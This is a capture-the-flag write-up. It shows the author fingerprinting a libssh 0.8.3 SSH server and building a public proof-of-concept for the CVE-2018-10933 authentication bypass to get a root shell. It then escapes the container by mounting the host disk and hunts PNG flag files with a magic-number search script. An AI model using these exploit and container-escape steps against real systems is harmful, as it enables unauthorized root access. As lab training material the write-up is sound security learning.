Greetings from SSH2_MSG_USERAUTH_SUCCESS.
Application Overview
From a previous portscan, we knew on port 2222
of our Linux target a ssh server is running. To actually exploit it knowing the application and its version would be pretty helpful. To do this I used auxiliary/scanner/ssh/ssh_version
which is a module available in Metasploit (it is a Metasploit CTF after all).
msf5 > use auxiliary/scanner/ssh/ssh_version
msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 172.16.67.149
msf5 auxiliary(scanner/ssh/ssh_version) > set RPORT 2222
msf5 auxiliary(scanner/finger/finger_users) > run
[+] 172.16.67.149:2222 - SSH server version: SSH-2.0-libssh_0.8.3 ( service.version=0.8.3 service.family=libssh service.product=libssh service.vendor=libssh service.cpe23=cpe:/a:libssh:libssh:0.8.3 service.protocol=ssh fingerprint_db=ssh.banner )
Huh, libssh? I think there was something in the media about a vulnerability in this application some time ago.
Greetings from CVE-2018-10933
After a quick search, CVE-2018-10933 popped out to be said vulnerability. Google also linked us to github.com/hackerhouse-opensource/cve-2018-10933 which is an example exploit of the said vulnerability. Now we only need to get it up and running and hope it is working.
To do this we first need to build our modified ssh-client
binary:
$ git clone https://github.com/hackerhouse-opensource/cve-2018-10933.git
$ cd cve-2018-10933/
$ xz -d libssh-0.8.3.tar.xz
$ tar -xvf libssh-0.8.3.tar
$ cd libssh-0.8.3/
$ patch -p0 < ../cve-2018-10933.patch
$ sudo apt install zlib1g-dev libssl-dev
$ mkdir build && cd build
$ cmake ..
$ make
Now we only need to connect to the vulnerable host:
$ examples/ssh-client -l root 172.16.67.149 -p 2222
f7a5828691fc:/#
Success! We are greeted with an open shell and can investigate the host for the flag.
Finding the flag
Finding the flag proved more time consuming than though. It simply was not present in the file system. Starting with simple find
commands, and later by writing a script to match the magic number of a PNG, I crawled the whole filesystem multiple times without luck.
Thanks to a poke of @d3v1l about this challenge. I tried it again and finally found the solution. It was just obvious, but I ignored it at the beginning. Just look at the output of df
:
$ df -hT
Filesystem Type Size Used Available Use% Mounted on
none aufs 7.7G 6.5G 1.2G 84% /
tmpfs tmpfs 999.2M 0 999.2M 0% /dev
tmpfs tmpfs 999.2M 0 999.2M 0% /sys/fs/cgroup
udev devtmpfs 978.7M 0 978.7M 0% /dev/snd
/dev/xvda1 ext4 7.7G 6.5G 1.2G 84% /etc/resolv.conf
/dev/xvda1 ext4 7.7G 6.5G 1.2G 84% /etc/hostname
/dev/xvda1 ext4 7.7G 6.5G 1.2G 84% /etc/hosts
shm tmpfs 64.0M 0 64.0M 0% /dev/shm
/dev/xvda1
is mounted multiple times on different files.
Let’s look into the files for the start:
$ cat /etc/hostname
f7a5828691fc
$ cat /etc/resolv.conf
# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
# DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
nameserver 172.16.0.2
search ec2.internal
$ cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.5 f7a5828691fc
Does not seem to be of interest for now. We could just be silly and try to mount /dev/xvda1
:
$ mount /dev/xvda1 /mnt
$ ls /mnt/
bin etc initrd.img.old lost+found opt run srv usr vmlinuz.old
boot home lib media proc sbin sys var
dev initrd.img lib64 mnt root snap tmp vmlinuz
We are greeted with a new filesystem. Seems we solved the challenge mostly. Now we only need to find the flag. To do this I will use the script written before to have a robust find function. Please note file
is not available on the system so we need to work around that limitation and match the magic number ourself:
#!/bin/sh
if [ $# -eq 0 ]
then
echo "Usage: $0 <search_root_dir>"
exit
fi
echo "------ start in directory: \"$1\""
find "$1" -type f | while read fname; do
#echo "test: $fname"
if hexdump -n8 "$fname" | grep -qF "0000000 5089 474e 0a0d 0a1a"; then
echo "PNG MATCH: \"$fname\""
fi;
done
echo "------ end"
To upload it I simply did a echo '<my script content here>' > find_flag.sh
and set the executable flag (chmod +x find_flag.sh
). Now I only need to execute it on our mounted directory:
$ ./find_png.sh /mnt/
------ start in directory: "/root//mnt/"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag"
<some useless png files>
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag"
<some useless png files>
------ end
We find two PNG’s which are named like a flag :). Obviously they are the same looking at their md5sum:
$ md5sum /mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag
812f6391ec42bf3c227e2c20998ce788 /mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag
$ md5sum /mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag
812f6391ec42bf3c227e2c20998ce788 /mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag
We managed to find the flag. Now we only need to download it, because we do not know which challenge it belongs to. To do this I will do a simple transfer by encoding it in base64 and copy-paste the output:
$ cd /mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/
$ cat flag | base64
To decode it we can copy the output into a file and do a base64 decode:
$ cat flag.base64 | base64 -d > flag.png
We found the 6 of Hearts.
6_of_hearts.png
Update
In the Slack channel @Warriar gave me the hint that we actually had access to way more flags than 6_of_hearts.png
. The ./find_png.sh
script, unfortunately, gave me so much garbage output that I did not search through all results. Doing that would have resulted in finding quite more flags (even though I don’t think this was intended).
Lesson learned: don’t stop on the first flag.
A short recap of flags I was able to find after the competition:
$ find /mnt/ -name *_of*.png
/mnt/var/lib/docker/aufs/diff/8ea58d85074e146d881c09cff5e2fa8adb4c4ca0cfb20f799d97de098ba30e04/usr/share/nginx/html/9_of_hearts.png
This gave me not a valid png at the start. @asoto-r7 gave me the hint that the endian is changed (verified with the hex-editor). I was told that dd
is able to fix this, which was a nice hint. My first approach to change the endian involved a buggy program which seemed to had problems with an odd number of bytes.
$ dd conv=swab < original.png > success.png
$ find /mnt/ -name *diamond*
/mnt/var/lib/docker/aufs/diff/fcfeaaa4d9d06cfa1073885de5bffa0d495bf50d3e31c7e1b15d60e248be1905/8_of_diamonds
/mnt/var/lib/docker/aufs/diff/2f4f5e4ca79188915e26036af7dabd44c71c51f8d1e3bf96afe42dc27ddd9a13/8_of_diamonds
Looks promising, but is only the web space. We solved the challenge in another way.
$ find /mnt/ -name *hearts
/mnt/var/lib/docker/aufs/diff/f3df673d9ceeabbf68d6acd3502b730fe6c535e93580a7a7596c269a8b66a824/usr/local/tomcat/tmp/10_of_hearts
Another challenge where we found the flag in its intended way before :).
I also run the following query which simply means: “give me all PNG’s without png
in the name”. No new flags found though:
$ ./find_flag.sh /mnt/ | grep -v png
------ start in directory: "/mnt/"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/75d646b5b894ab6ae1e0b6bae00374c3427d4f229a05dca91a86e5ba3638528c/tmp/flag"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/ffd1d8afbf6ced7fa126401845f9751ed7883d87c55227f8ffd4e7e6d25a0776/metasploit-framework/lib/msf/core/web_services/public/favicon.ico"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/f3df673d9ceeabbf68d6acd3502b730fe6c535e93580a7a7596c269a8b66a824/usr/local/tomcat/tmp/10_of_hearts"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/732e474e09d0bc0542f1a62e6a1ae56297031b1498e3505701a437446340577c/var/lib/postgresql/.msf4/loot/flag"
PNG MATCH: "/mnt/var/lib/docker/aufs/diff/c8f36ec2cb444ba63ecde6ec534f1fe84bef23dc44c46196b6a4fac86b4b3ba8/metasploit-framework/lib/msf/core/web_services/public/favicon.ico"
hexdump: /mnt/etc/systemd/system/snap-amazonx2dssmx2dagent-495.mount: No such file or directory
------ end
I can likely access other flags as well. I was simply doing some quick glance after the CTF to get some idea how much I missed :). Now I know better.